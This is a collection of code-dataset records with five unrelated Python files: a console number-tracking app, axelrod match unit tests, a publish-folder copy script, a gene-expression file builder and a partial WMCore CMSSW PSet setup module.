+{"seq_id":"365410334","text":"import os\nimport time\nfrom datetime import datetime\nimport json\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nANM = []\n\nos.system(\"title ANM\")\n\n\ndef save():\n global ANM\n try:\n with open('ANM.json', 'w') as f:\n json.dump(ANM, f)\n except:\n pass\n\n\ndef load():\n global ANM\n try:\n with open('ANM.json', 'r') as f:\n ANM = json.load(f)\n except:\n ANM = []\n save()\n\ndef clear():\n os.system(\"cls\")\n\n\ndef StringSplitList(x,y):\n string=\"\"\n firstLoop = True\n for i in x:\n if firstLoop == True:\n string+=str(i)\n else:\n string+=str(y)+str(i)\n firstLoop = False\n return(string)\n\n\ndef StringifyList(x):\n nstr = \"\"\n for i in x:\n try:\n nstr = nstr+str(x[i])\n except:\n pass\n return(nstr)\n\n\ndef getDate():\n year = time.strftime(\"%Y\")\n day = time.strftime(\"%d\")\n month = time.strftime(\"%m\")\n return([year,month,day])\n\ndef view():\n if len(ANM) <= 0:\n print(\"Theres nothing to view!\")\n input()\n menu(\"start\")\n else:\n clear()\n for i in range(0,len(ANM)):\n firstIrit = True\n print(ANM[i][0])\n for y in ANM[i]:\n if firstIrit == True:\n firstIrit = False\n else:\n print(\" \"+str(y))\n input()\n menu(\"start\")\n\n\ndef add():\n global ANM\n clear()\n print(\"-\"*20)\n print(\"[1]: Add User\")\n print(\"[2]: Add Entry\")\n print(\"[3]: Return\")\n print(\"-\"*20)\n choice = input(\"[]>\")\n try:\n choice = int(choice)\n except:\n add()\n\n if choice == 2:\n if len(ANM) <= 0:\n print(\"Theres nothing to add to!\")\n input()\n add()\n print(\"-\"*20)\n for i in range(0,len(ANM)):\n print(\"[\"+str(i+1)+\"]: \"+ANM[i][0])\n print(\"-\"*20)\n Pog = input(\"Select A Pog: \")\n try:\n Pog = int(Pog)\n except:\n add()\n Pog = Pog-1\n clear()\n print(\"-\"*20)\n print(\"Follow This Format: 10,20\")\n print(\"-\"*20)\n entry = input(\"Enter a new entry: \")\n entry = entry.split(\",\")\n if len(entry) <= 0:\n add()\n elif len(entry) > 2:\n add()\n try:\n int(entry[0])\n int(entry[1])\n except:\n add()\n date = getDate()\n date = StringSplitList(date,\"/\")\n entry.append(date)\n ANM[Pog].append(entry)\n save()\n print(\"Finished!\")\n input()\n add()\n elif choice == 1:\n clear()\n print(\"-\"*20)\n print(\"Enter A Name: \")\n print(\"-\"*20)\n inpuut = input(\"[]> \")\n ANM.append([str(inpuut)])\n print(\"Pog Added.\")\n input()\n add()\n elif choice == 3:\n menu(\"start\")\n else:\n add()\n\n\ndef editUser():\n load()\n clear()\n if len(ANM) <= 0:\n print(\"Theres no data!\")\n input()\n menu(\"start\")\n else:\n print(\"-\"*20)\n SelectedUser = 0\n for i in range(0,len(ANM)):\n print(\"[\"+str(i+1)+\"]: \"+ANM[i][0])\n print(\"-\"*20)\n choice = input(\":> \")\n try:\n choice = int(choice)\n except:\n editUser()\n SelectedUser = choice\n print(\"[1]: Delete\")\n print(\"[2]: Rename\")\n selection = ANM[SelectedUser-1][0]\n b0ck = \"Selection: \"\n print(\"-\"*(len(b0ck)+len(str(selection))))\n print(b0ck+str(selection))\n print(\"-\"*(len(b0ck)+len(str(selection))))\n choice = input(\":> \")\n try:\n choice = int(choice)\n except:\n editUser()\n if choice == 1:\n clear()\n print(\"Are you sure you want to delete [\"+str(ANM[choice-1][0])+\"]?, this will delete of this user's entries.\")\n choice = input(\"[Y/N]: \")\n choice = choice.lower()\n if choice == \"y\":\n del ANM[SelectedUser-1]\n else:\n editUser()\n elif choice == 2:\n clear()\n print(\"Enter a new name.\")\n newValue = input(\">: \")\n ANM[SelectedUser-1][0] = newValue\n else:\n editUser()\n save()\n print(\"Finished, enter any key to continue.\")\n input()\n editUser()\ndef editEntry():\n load()\n clear()\n if len(ANM) <= 0:\n print(\"Theres no data!\")\n input()\n menu(\"start\")\n else:\n SelectedUser = 0\n SelectedEntry = 0\n for i in range(0,len(ANM)):\n print(\"[\"+str(i+1)+\"]: \"+ANM[i][0])\n choice = input(\":> \")\n try:\n choice = int(choice)\n except:\n editEntry()\n SelectedUser = choice-1\n selection = ANM[choice-1]\n for i in range(1,len(selection)):\n print(\"[\"+str((i))+\"]: \"+str(selection[i]))\n choice = input(\":> \")\n try:\n choice = int(choice)\n except:\n editEntry()\n SelectedEntry = choice\n selection = selection[choice]\n clear()\n b0ck = \"Selection: \"\n print(\"-\"*(len(b0ck)+len(str(selection))))\n print(b0ck+str(selection))\n print(\"-\"*(len(b0ck)+len(str(selection))))\n print(\"[1]: Value #1\")\n print(\"[2]: Value #2\")\n print(\"[3]: Date\")\n print(\"[4]: Delete\")\n choice = input(\":> \")\n try:\n choice = int(choice)\n except:\n editEntry()\n if choice == 1:\n newValue = input(\"Enter A New Value: \")\n try:\n newValue = int(newValue)\n except:\n editEntry()\n ANM[SelectedUser][SelectedEntry][0] = newValue\n input(\"Finished, Press any key to continue.\")\n editEntry()\n elif choice == 2:\n newValue = input(\"Enter A New Value: \")\n try:\n newValue = int(newValue)\n except:\n editEntry()\n ANM[SelectedUser][SelectedEntry][1] = newValue\n input(\"Finished, Press any key to continue.\")\n editEntry()\n elif choice == 3:\n newValueOne = input(\"Enter A Day: \")\n newValueTwo = input(\"Enter A Month: \")\n newValueThree = input(\"Enter A Year: \")\n try:\n newValueOne = int(newValueOne)\n newValueTwo = int(newValueTwo)\n newValueThree = int(newValueThree)\n except:\n editEntry()\n elif choice == 4:\n del ANM[SelectedUser][SelectedEntry]\n else:\n editEntry()\n\n ANM[SelectedUser][SelectedEntry][2] = StringSplitList([newValueThree,newValueTwo,newValueOne],\"/\")\n save()\n input(\"Finished, Press any key to continue.\")\n editEntry()\ndef edit():\n clear()\n print(\"-\"*20)\n print(\"[1]: Edit User\")\n print(\"[2]: Edit Entry\")\n print(\"[3]: Return\")\n print(\"-\"*20)\n choice = input(\">: \")\n try:\n choice = int(choice)\n except:\n menu(\"start\")\n if choice == 1:\n editUser()\n elif choice == 2:\n editEntry()\n elif choice == 3:\n menu(\"start\")\n else:\n edit()\n\n\n\n\n\ndef plural(x):\n if x == 1 or x == -1:\n return(\"\")\n else:\n return(\"s\")\n\n\ndef stats():\n load()\n if len(ANM) <= 0:\n print(\"Theres no data!\")\n input()\n menu(\"start\")\n clear()\n print(\"/\"*40)\n for i in range(0,len(ANM)):\n pack = []\n pack.append(ANM[i][0])\n pog = ANM[i]\n for y in range(1,len(pog)):\n pack.append(pog[y][0])\n pack.append(pog[y][1])\n\n numbers = []\n top = 0\n topCount = 0\n for y in range(1,len(pack)):\n numbers.append(int(pack[y]))\n for y in range(1,len(pack)):\n if numbers.count(int(pack[y])) > top:\n top = int(pack[y])\n topCount = numbers.count(int(pack[y]))\n print(pog[0])\n print(\" Most Frequent Number: [\"+ str(top) + \"] Occurences: [\" + str(topCount)+\"]\")\n print(\"/\"*40)\n input(\"Press Any Key To Continue.\")\n menu(\"start\")\n \"\"\"\n data = []\n for i in range(0,len(ANM)):\n data.append([str(ANM[i][0])])\n for y in range(1,len(ANM[i])):\n data[i].append(ANM[i][y][0])\n data[i].append(ANM[i][y][1])\n numbers = []\n for z in range(0,len(data)):\n for y in range(1,len(data[z])):\n try:\n numbers.append(int(data[z][y]))\n except:\n pass\n\n mostFrequent = 0\n Occurences = 0\n for y in numbers:\n if numbers.count(y) > mostFrequent:\n mostFrequent = y\n Occurences = numbers.count(y)\n print(ANM[i][0])\n print(\" This Pog's Most Frequent Number Is: \" + str(mostFrequent) + \" , With \" + str(Occurences)+\" Occurence\" + plural(Occurences) + \"!\")\n input()\n \"\"\"\n\n\n\ndef menu(x):\n load()\n global ANM\n clear()\n def start():\n print(\"-\"*20)\n print(\"[1]: View\")\n print(\"[2]: Add\")\n print(\"[3]: Edit/Remove\")\n print(\"[4]: Stats\")\n print(\"-\"*20)\n choice = input(\"[]:> \")\n try:\n choice = int(choice)\n except:\n menu(\"start\")\n if choice == 1:\n view()\n elif choice == 2:\n add()\n elif choice == 3:\n edit()\n elif choice == 4:\n stats()\n else:\n menu(\"start\")\n exec(str.lower(x)+\"()\")\nmenu(\"start\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"508360958","text":"# -*- coding: utf-8 -*-\n\nimport unittest\nimport axelrod\nfrom axelrod import Actions\n\nfrom hypothesis import given, example\nfrom hypothesis.strategies import integers, floats, random_module, assume\n\nC, D = Actions.C, Actions.D\n\n\nclass TestMatch(unittest.TestCase):\n\n @given(turns=integers(min_value=1, max_value=200),\n prob_end=floats(min_value=0, max_value=1))\n @example(turns=5, prob_end=None)\n def test_init(self, turns, prob_end):\n p1, p2 = axelrod.Cooperator(), axelrod.Cooperator()\n match = axelrod.Match((p1, p2), turns, prob_end=prob_end)\n self.assertEqual(match.result, [])\n self.assertEqual(match.player1, p1)\n self.assertEqual(match.player2, p2)\n self.assertEqual(\n match._classes, (axelrod.Cooperator, axelrod.Cooperator))\n self.assertEqual(match._turns, turns)\n self.assertEqual(match._prob_end, prob_end)\n self.assertEqual(match._cache, {})\n self.assertEqual(match._cache_mutable, True)\n self.assertEqual(match._noise, 0)\n\n # Checking that prob_end has default None\n match = axelrod.Match((p1, p2), turns)\n self.assertEqual(match.result, [])\n self.assertEqual(match.player1, p1)\n self.assertEqual(match.player2, p2)\n self.assertEqual(\n match._classes, (axelrod.Cooperator, axelrod.Cooperator))\n self.assertEqual(match._turns, turns)\n self.assertEqual(match._prob_end, None)\n self.assertEqual(match._cache, {})\n self.assertEqual(match._cache_mutable, True)\n self.assertEqual(match._noise, 0)\n\n @given(p=floats(min_value=0, max_value=1),\n rm=random_module())\n def test_stochastic(self, p, rm):\n\n assume(0 < p < 1)\n\n p1, p2 = axelrod.Cooperator(), axelrod.Cooperator()\n match = axelrod.Match((p1, p2), 5)\n self.assertFalse(match._stochastic)\n\n match = axelrod.Match((p1, p2), 5, noise=p)\n self.assertTrue(match._stochastic)\n\n match = axelrod.Match((p1, p2), 5, prob_end=p)\n self.assertTrue(match._stochastic)\n\n p1 = axelrod.Random()\n match = axelrod.Match((p1, p2), 5)\n self.assertTrue(match._stochastic)\n\n @given(p=floats(min_value=0, max_value=1),\n rm=random_module())\n def test_cache_update_required(self, p, rm):\n\n assume(0 < p < 1)\n\n p1, p2 = axelrod.Cooperator(), axelrod.Cooperator()\n match = axelrod.Match((p1, p2), 5, noise=p)\n self.assertFalse(match._cache_update_required)\n\n match = axelrod.Match((p1, p2), 5, prob_end=p)\n self.assertFalse(match._cache_update_required)\n\n match = axelrod.Match((p1, p2), 5, cache_mutable=False)\n self.assertFalse(match._cache_update_required)\n\n match = axelrod.Match((p1, p2), 5)\n self.assertTrue(match._cache_update_required)\n\n p1 = axelrod.Random()\n match = axelrod.Match((p1, p2), 5)\n self.assertFalse(match._cache_update_required)\n\n def test_play(self):\n cache = {}\n players = (axelrod.Cooperator(), axelrod.Defector())\n match = axelrod.Match(players, 3, cache)\n expected_result = [(C, D), (C, D), (C, D)]\n self.assertEqual(match.play(), expected_result)\n self.assertEqual(\n cache[(axelrod.Cooperator, axelrod.Defector)], expected_result)\n\n # a deliberately incorrect result so we can tell it came from the cache\n expected_result = [(C, C), (D, D), (D, C)]\n cache = {(axelrod.Cooperator, axelrod.Defector): expected_result}\n match = axelrod.Match(players, 3, cache)\n self.assertEqual(match.play(), expected_result)\n\n @given(turns=integers(min_value=1, max_value=200),\n prob_end=floats(min_value=0, max_value=1),\n rm=random_module())\n def test_prob_end_play(self, turns, prob_end, rm):\n\n players = (axelrod.Cooperator(), axelrod.Defector())\n match = axelrod.Match(players, turns, prob_end=prob_end)\n self.assertTrue(0 <= len(match.play()))\n\n # If game has no ending the length will be turns\n match = axelrod.Match(players, turns, prob_end=0)\n self.assertEqual(len(match.play()), turns)\n\n # If game has 1 prob of ending it lasts only one turn\n match = axelrod.Match(players, turns, prob_end=1)\n self.assertEqual(len(match.play()), 1)\n\n @given(prob_end=floats(min_value=0.25, max_value=0.75),\n rm=random_module())\n def test_prob_end_play_with_no_turns(self, prob_end, rm):\n players = (axelrod.Cooperator(), axelrod.Defector())\n match = axelrod.Match(players, float(\"inf\"), prob_end=prob_end)\n self.assertTrue(0 <= len(match.play()))\n\n def test_sparklines(self):\n players = (axelrod.Cooperator(), axelrod.Alternator())\n match = axelrod.Match(players, 4)\n match.play()\n expected_sparklines = u'████\\n█ █ '\n self.assertEqual(match.sparklines(), expected_sparklines)\n expected_sparklines = u'XXXX\\nXYXY'\n self.assertEqual(match.sparklines('X', 'Y'), expected_sparklines)\n","sub_path":"axelrod/tests/unit/test_match.py","file_name":"test_match.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"162732842","text":"import os\nimport shutil\n\nfileDir = os.path.dirname(os.path.abspath(__file__))\nbackendDir = os.path.dirname(fileDir)\npublishDir = os.path.join(os.path.dirname(backendDir), \"publish\")\n\n\ndef copyBackendToPublish(src, dst):\n for item in os.listdir(src):\n s = os.path.join(src, item)\n d = os.path.join(dst, item)\n if os.path.isdir(s) and item != \"scripts\":\n shutil.copytree(s, d)\n elif os.path.isfile(s):\n shutil.copyfile(s, d)\n\n\ndef cleanPublish():\n for item in os.listdir(publishDir):\n s = os.path.join(publishDir, item)\n if os.path.isdir(s) and item != \"build\":\n shutil.rmtree(s)\n elif os.path.isfile(s):\n os.remove(s)\n\n\ncleanPublish()\ncopyBackendToPublish(backendDir, publishDir)\n","sub_path":"MY_REPOS/Lambda-Resource-Static-Assets/13-web-tools/REUSABLE_WEB_COMPONENTS/FlaskDefault/backend/scripts/publish.py","file_name":"publish.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"288964922","text":"# Script to create a file with the following tab-separated fields for each Ensembl gene:\n# chromosome\n# start\n# end\n# name/ID\n# B cell TPM values (csv);T cell TPM values (csv)\n# strand\n\n# For input need:\n# Reference GTF\n# TSV of B cell TPM values (first field is gene name, second is ensembl ID, rest are TPM values)\n# TSV of T cell TPM values (first field is gene name, second is ensembl ID, rest are TPM values)\n# Output file name\n\nimport sys\nimport re\n\ndef tidyAttr(attrVal):\n\t# Remove unwanted characters (quotes, semicolons) from attribute value strings\n\treturn re.sub(\"[\\\";]\", \"\", attrVal)\n\ndef processGtf(gtfFile):\n\t# Go through a GTF file line-by-line and pull out gene information\n\t# Save in a dict with ensembl IDs as keys and dicts as values\n\tprint(\"Processing GTF file ... \"),\n\tsys.stdout.flush()\n\toutDict = {}\n\t\n\twith open(gtfFile, 'r') as f:\n\t\tfor line in f:\n\t\t\tif line[0] == \"#\":\n\t\t\t\tcontinue\n\t\t\n\t\t\tlineList = re.split(\"\\s+\", line.strip())\n\t\t\tif lineList[2] != \"gene\":\n\t\t\t\tcontinue\n\t\t\t\n\t\t\toutDict[tidyAttr(lineList[9])] = {\n\t\t\t\t\t\t\t\t\t\t\t\t\"chromosome\":\"chr\"+lineList[0],\n\t\t\t\t\t\t\t\t\t\t\t\t\"start\":lineList[3],\n\t\t\t\t\t\t\t\t\t\t\t\t\"end\":lineList[4],\n\t\t\t\t\t\t\t\t\t\t\t\t\"strand\":lineList[6],\n\t\t\t\t\t\t\t\t\t\t\t\t\"b_expr\":[],\n\t\t\t\t\t\t\t\t\t\t\t\t\"t_expr\":[]\n\t\t\t\t\t\t\t\t\t\t\t}\n\tprint(\"Done\")\n\treturn outDict\n\t\ndef addExprVals(geneDict, bExprTsv, tExprTsv):\n\t# Go through the TSV files of expression levels and add to the gene dictionary\n\tprint(\"Adding expression values to gene dictionary ... \"),\n\tsys.stdout.flush()\n\tfor tsv,k in zip([bExprTsv, tExprTsv], [\"b_expr\", \"t_expr\"]):\n\t\twith open(tsv, 'r') as f:\n\t\t\tfor line in f:\n\t\t\t\tlineList = line.strip().split(\"\\t\")\n\t\t\t\tgeneDict[lineList[1]][k] = lineList[2:]\n\tprint(\"Done\")\n\treturn geneDict\n\t\ndef writeToFile(geneDict, outFile):\n\tprint(\"Writing results to file ... \"),\n\tsys.stdout.flush()\n\twith open(outFile, 'wa') as f:\n\t\tfor k in geneDict.keys():\n\t\t\td = geneDict[k]\n\t\t\toutStr = \"\\t\".join([\n\t\t\t\t\t\t\t\td[\"chromosome\"],\n\t\t\t\t\t\t\t\td[\"start\"],\n\t\t\t\t\t\t\t\td[\"end\"],\n\t\t\t\t\t\t\t\tk,\n\t\t\t\t\t\t\t\t\",\".join(d[\"b_expr\"])+\";\"+\",\".join(d[\"t_expr\"]),\n\t\t\t\t\t\t\t\td[\"strand\"]\n\t\t\t\t\t\t\t ]) + \"\\n\"\n\t\t\tf.write(outStr)\n\t\t\t\n\tprint(\"Done\")\n\t\t\t\ngtfFile = sys.argv[1]\nbExprTsv = sys.argv[2]\ntExprTsv = sys.argv[3]\noutFile = sys.argv[4]\n\ngeneDict = addExprVals(processGtf(gtfFile), bExprTsv, tExprTsv)\n\nwriteToFile(geneDict, outFile)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\n\t\t\n\t\n","sub_path":"scripts/make_gene_expr_by_cell_file.py","file_name":"make_gene_expr_by_cell_file.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"275318337","text":"\"\"\"\n_SetupCMSSWPset_\n\nCreate a CMSSW PSet suitable for running a WMAgent job.\n\n\"\"\"\nfrom __future__ import print_function\n\nimport json\nimport logging\nimport os\nimport pickle\nimport random\nimport socket\nimport re\n\nimport FWCore.ParameterSet.Config as cms\n\nfrom PSetTweaks.PSetTweak import PSetTweak\nfrom PSetTweaks.WMTweak import applyTweak, makeJobTweak, makeOutputTweak, makeTaskTweak, resizeResources\nfrom WMCore.Storage.SiteLocalConfig import loadSiteLocalConfig\nfrom WMCore.Storage.TrivialFileCatalog import TrivialFileCatalog\nfrom WMCore.WMRuntime.ScriptInterface import ScriptInterface\nfrom WMCore.WMRuntime.Tools.Scram import isCMSSWSupported, isEnforceGUIDInFileNameSupported\n\n\ndef fixupGlobalTag(process):\n \"\"\"\n _fixupGlobalTag_\n\n Make sure that the process has a GlobalTag.globaltag string.\n\n Requires that the configuration already has a properly configured GlobalTag object.\n\n \"\"\"\n if hasattr(process, \"GlobalTag\"):\n if not hasattr(process.GlobalTag, \"globaltag\"):\n process.GlobalTag.globaltag = cms.string(\"\")\n return\n\n\ndef fixupGlobalTagTransaction(process):\n \"\"\"\n _fixupGlobalTagTransaction_\n\n Make sure that the process has a GlobalTag.DBParameters.transactionId string.\n\n Requires that the configuration already has a properly configured GlobalTag object\n\n (used to customize conditions access for Tier0 express processing)\n\n \"\"\"\n if hasattr(process, \"GlobalTag\"):\n if not hasattr(process.GlobalTag.DBParameters, \"transactionId\"):\n process.GlobalTag.DBParameters.transactionId = cms.untracked.string(\"\")\n return\n\n\ndef fixupFirstRun(process):\n \"\"\"\n _fixupFirstRun_\n\n Make sure that the process has a firstRun parameter.\n\n \"\"\"\n if not hasattr(process.source, \"firstRun\"):\n process.source.firstRun = cms.untracked.uint32(0)\n return\n\n\ndef fixupLastRun(process):\n \"\"\"\n _fixupLastRun_\n\n Make sure that the process has a lastRun parameter.\n\n \"\"\"\n if not hasattr(process.source, \"lastRun\"):\n process.source.lastRun = cms.untracked.uint32(0)\n return\n\n\ndef fixupLumisToProcess(process):\n \"\"\"\n _fixupLumisToProcess_\n\n Make sure that the process has a lumisToProcess parameter.\n\n \"\"\"\n if not hasattr(process.source, \"lumisToProcess\"):\n process.source.lumisToProcess = cms.untracked.VLuminosityBlockRange()\n return\n\n\ndef fixupSkipEvents(process):\n \"\"\"\n _fixupSkipEvents_\n\n Make sure that the process has a skip events parameter.\n\n \"\"\"\n if not hasattr(process.source, \"skipEvents\"):\n process.source.skipEvents = cms.untracked.uint32(0)\n return\n\n\ndef fixupFirstEvent(process):\n \"\"\"\n _fixupFirstEvent_\n\n Make sure that the process has a first event parameter.\n\n \"\"\"\n if not hasattr(process.source, \"firstEvent\"):\n process.source.firstEvent = cms.untracked.uint32(0)\n return\n\n\ndef fixupMaxEvents(process):\n \"\"\"\n _fixupMaxEvents_\n\n Make sure that the process has a max events parameter.\n\n \"\"\"\n if not hasattr(process, \"maxEvents\"):\n process.maxEvents = cms.untracked.PSet(input=cms.untracked.int32(-1))\n if not hasattr(process.maxEvents, \"input\"):\n process.maxEvents.input = cms.untracked.int32(-1)\n return\n\n\ndef fixupFileNames(process):\n \"\"\"\n _fixupFileNames_\n\n Make sure that the process has a fileNames parameter.\n\n \"\"\"\n if not hasattr(process.source, \"fileNames\"):\n process.source.fileNames = cms.untracked.vstring()\n return\n\n\ndef fixupSecondaryFileNames(process):\n \"\"\"\n _fixupSecondaryFileNames_\n\n Make sure that the process has a secondaryFileNames parameter.\n\n \"\"\"\n if not hasattr(process.source, \"secondaryFileNames\"):\n process.source.secondaryFileNames = cms.untracked.vstring()\n return\n\n\ndef fixupFirstLumi(process):\n \"\"\"\n _fixupFirstLumi\n\n Make sure that the process has firstLuminosityBlock parameter.\n \"\"\"\n if not hasattr(process.source, \"firstLuminosityBlock\"):\n process.source.firstLuminosityBlock = cms.untracked.uint32(1)\n return\n\n\nclass SetupCMSSWPset(ScriptInterface):\n \"\"\"\n _SetupCMSSWPset_\n\n \"\"\"\n fixupDict = {\"process.GlobalTag.globaltag\": fixupGlobalTag,\n \"process.GlobalTag.DBParameters.transactionId\": fixupGlobalTagTransaction,\n \"process.source.fileNames\": fixupFileNames,\n \"process.source.secondaryFileNames\": fixupSecondaryFileNames,\n \"process.maxEvents.input\": fixupMaxEvents,\n \"process.source.skipEvents\": fixupSkipEvents,\n \"process.source.firstEvent\": fixupFirstEvent,\n \"process.source.firstRun\": fixupFirstRun,\n \"process.source.lastRun\": fixupLastRun,\n \"process.source.lumisToProcess\": fixupLumisToProcess,\n \"process.source.firstLuminosityBlock\": fixupFirstLumi}\n\n def __init__(self, crabPSet=False):\n ScriptInterface.__init__(self)\n self.crabPSet = crabPSet\n self.process = None\n self.jobBag = None\n self.logger = logging.getLogger()\n\n def createProcess(self, scenario, funcName, funcArgs):\n \"\"\"\n _createProcess_\n\n Create a Configuration.DataProcessing PSet.\n\n \"\"\"\n if funcName == \"merge\":\n\n if getattr(self.jobBag, \"useErrorDataset\", False):\n funcArgs['outputmod_label'] = \"MergedError\"\n\n try:\n from Configuration.DataProcessing.Merge import mergeProcess\n self.process = mergeProcess(**funcArgs)\n except Exception as ex:\n msg = \"Failed to create a merge process.\"\n self.logger.exception(msg)\n raise ex\n elif funcName == \"repack\":\n try:\n from Configuration.DataProcessing.Repack import repackProcess\n self.process = repackProcess(**funcArgs)\n except Exception as ex:\n msg = \"Failed to create a repack process.\"\n self.logger.exception(msg)\n raise ex\n else:\n try:\n from Configuration.DataProcessing.GetScenario import getScenario\n scenarioInst = getScenario(scenario)\n except Exception as ex:\n msg = \"Failed to retrieve the Scenario named \"\n msg += str(scenario)\n msg += \"\\nWith Error:\"\n msg += str(ex)\n self.logger.error(msg)\n raise ex\n try:\n self.process = getattr(scenarioInst, funcName)(**funcArgs)\n except Exception as ex:\n msg = \"Failed to load process from Scenario %s (%s).\" % (scenario, scenarioInst)\n self.logger.error(msg)\n raise ex\n\n return\n\n def loadPSet(self):\n \"\"\"\n _loadPSet_\n\n Load a PSet that was shipped with the job sandbox.\n\n \"\"\"\n psetModule = \"WMTaskSpace.%s.PSet\" % self.step.data._internal_name\n\n try:\n processMod = __import__(psetModule, globals(), locals(), [\"process\"], -1)\n self.process = processMod.process\n except ImportError as ex:\n msg = \"Unable to import process from %s:\\n\" % psetModule\n msg += str(ex)\n self.logger.error(msg)\n raise ex\n\n return\n\n def fixupProcess(self):\n \"\"\"\n _fixupProcess_\n\n Look over the process object and make sure that all of the attributes\n that we expect to exist actually exist.\n\n \"\"\"\n # Make sure that for each output module the following parameters exist\n # in the PSet returned from the framework:\n # fileName\n # logicalFileName\n # dataset.dataTier\n # dataset.filterName\n if hasattr(self.process, \"outputModules\"):\n outputModuleNames = self.process.outputModules.keys()\n else:\n outputModuleNames = self.process.outputModules_()\n for outMod in outputModuleNames:\n outModRef = getattr(self.process, outMod)\n if not hasattr(outModRef, \"dataset\"):\n outModRef.dataset = cms.untracked.PSet()\n if not hasattr(outModRef.dataset, \"dataTier\"):\n outModRef.dataset.dataTier = cms.untracked.string(\"\")\n if not hasattr(outModRef.dataset, \"filterName\"):\n outModRef.dataset.filterName = cms.untracked.string(\"\")\n if not hasattr(outModRef, \"fileName\"):\n outModRef.fileName = cms.untracked.string(\"\")\n if not hasattr(outModRef, \"logicalFileName\"):\n outModRef.logicalFileName = cms.untracked.string(\"\")\n return\n\n def applyTweak(self, psetTweak):\n \"\"\"\n _applyTweak_\n\n Apply a tweak to the process.\n \"\"\"\n tweak = PSetTweak()\n tweak.unpersist(psetTweak)\n applyTweak(self.process, tweak, self.fixupDict)\n return\n\n def handleSeeding(self):\n \"\"\"\n _handleSeeding_\n\n Handle Random Seed settings for the job\n \"\"\"\n seeding = getattr(self.jobBag, \"seeding\", None)\n self.logger.info(\"Job seeding set to: %s\", seeding)\n if seeding == \"ReproducibleSeeding\":\n randService = self.process.RandomNumberGeneratorService\n tweak = PSetTweak()\n for x in randService:\n parameter = \"process.RandomNumberGeneratorService.%s.initialSeed\" % x._internal_name\n tweak.addParameter(parameter, x.initialSeed)\n applyTweak(self.process, tweak, self.fixupDict)\n else:\n if hasattr(self.process, \"RandomNumberGeneratorService\"):\n from IOMC.RandomEngine.RandomServiceHelper import RandomNumberServiceHelper\n helper = RandomNumberServiceHelper(self.process.RandomNumberGeneratorService)\n helper.populate()\n return\n\n def handlePerformanceSettings(self):\n \"\"\"\n _handlePerformanceSettings_\n\n Install the standard performance report services\n \"\"\"\n # include the default performance report services\n if getattr(self.step.data.application.command, 'silentMemoryCheck', False):\n self.process.add_(cms.Service(\"SimpleMemoryCheck\", jobReportOutputOnly=cms.untracked.bool(True)))\n else:\n self.process.add_(cms.Service(\"SimpleMemoryCheck\"))\n\n self.process.add_(cms.Service(\"CPU\"))\n self.process.add_(cms.Service(\"Timing\"))\n self.process.Timing.summaryOnly = cms.untracked(cms.bool(True))\n\n return\n\n def handleChainedProcessing(self):\n \"\"\"\n _handleChainedProcessing_\n\n In order to handle chained processing it's necessary to feed\n output of one step/task (nomenclature ambiguous) to another.\n This method creates particular mapping in a working Trivial\n File Catalog (TFC).\n \"\"\"\n self.logger.info(\"Handling chained processing job\")\n # first, create an instance of TrivialFileCatalog to override\n tfc = TrivialFileCatalog()\n # check the jobs input files\n inputFile = (\"../%s/%s.root\" % (self.step.data.input.inputStepName,\n self.step.data.input.inputOutputModule))\n tfc.addMapping(\"direct\", inputFile, inputFile, mapping_type=\"lfn-to-pfn\")\n tfc.addMapping(\"direct\", inputFile, inputFile, mapping_type=\"pfn-to-lfn\")\n\n fixupFileNames(self.process)\n fixupMaxEvents(self.process)\n self.process.source.fileNames.setValue([inputFile])\n self.process.maxEvents.input.setValue(-1)\n\n tfcName = \"override_catalog.xml\"\n tfcPath = os.path.join(os.getcwd(), tfcName)\n self.logger.info(\"Creating override TFC and saving into '%s'\", tfcPath)\n tfcStr = tfc.getXML()\n with open(tfcPath, 'w') as tfcFile:\n tfcFile.write(tfcStr)\n\n self.step.data.application.overrideCatalog = \"trivialcatalog_file:\" + tfcPath + \"?protocol=direct\"\n\n return\n\n def handlePileup(self):\n \"\"\"\n _handlePileup_\n\n Handle pileup settings.\n \"\"\"\n # find out local site SE name\n siteConfig = loadSiteLocalConfig()\n PhEDExNodeName = siteConfig.localStageOut[\"phedex-node\"]\n self.logger.info(\"Running on site '%s', local PNN: '%s'\", siteConfig.siteName, PhEDExNodeName)\n\n pileupDict = self._getPileupConfigFromJson()\n\n # 2011-02-03 according to the most recent version of instructions, we do\n # want to differentiate between \"MixingModule\" and \"DataMixingModule\"\n mixModules, dataMixModules = self._getPileupMixingModules()\n\n # 2011-02-03\n # on the contrary to the initial instructions (wave), there are\n # going to be only two types of pileup input datasets: \"data\" or \"mc\"\n # unlike all previous places where pileupType handled in a flexible\n # way as specified in the configuration passed by the user, here are\n # the two pileupTypes hardcoded: and we are going to add the \"mc\"\n # datasets to \"MixingModule\"s and only add the \"data\" datasets to the\n # \"DataMixingModule\"s\n\n # if the user in the configuration specifies different pileup types\n # than \"data\" or \"mc\", the following call will not modify anything\n self._processPileupMixingModules(pileupDict, PhEDExNodeName, dataMixModules, \"data\")\n self._processPileupMixingModules(pileupDict, PhEDExNodeName, mixModules, \"mc\")\n\n return\n\n def _processPileupMixingModules(self, pileupDict, PhEDExNodeName,\n modules, requestedPileupType):\n \"\"\"\n Iterates over all modules and over all pileup configuration types.\n The only considered types are \"data\" and \"mc\" (input to this method).\n If other pileup types are specified by the user, the method doesn't\n modify anything.\n\n The method considers only files which are present on this local PNN.\n The job will use only those, unless it was told to trust the PU site\n location (trustPUSitelists=True), in this case ALL the blocks/files\n will be added to the PSet and files will be read via AAA.\n Dataset, divided into blocks, may not have all blocks present on a\n particular PNN. However, all files belonging into a block will be\n present when reported by DBS.\n\n The structure of the pileupDict: PileupFetcher._queryDbsAndGetPileupConfig\n\n 2011-02-03:\n According to the current implementation of helper testing module\n WMCore_t/WMRuntime_t/Scripts_t/WMTaskSpace/cmsRun1/PSet.py\n each type of modules instances can have either \"secsource\"\n or \"input\" attribute, so need to probe both, one shall succeed.\n \"\"\"\n 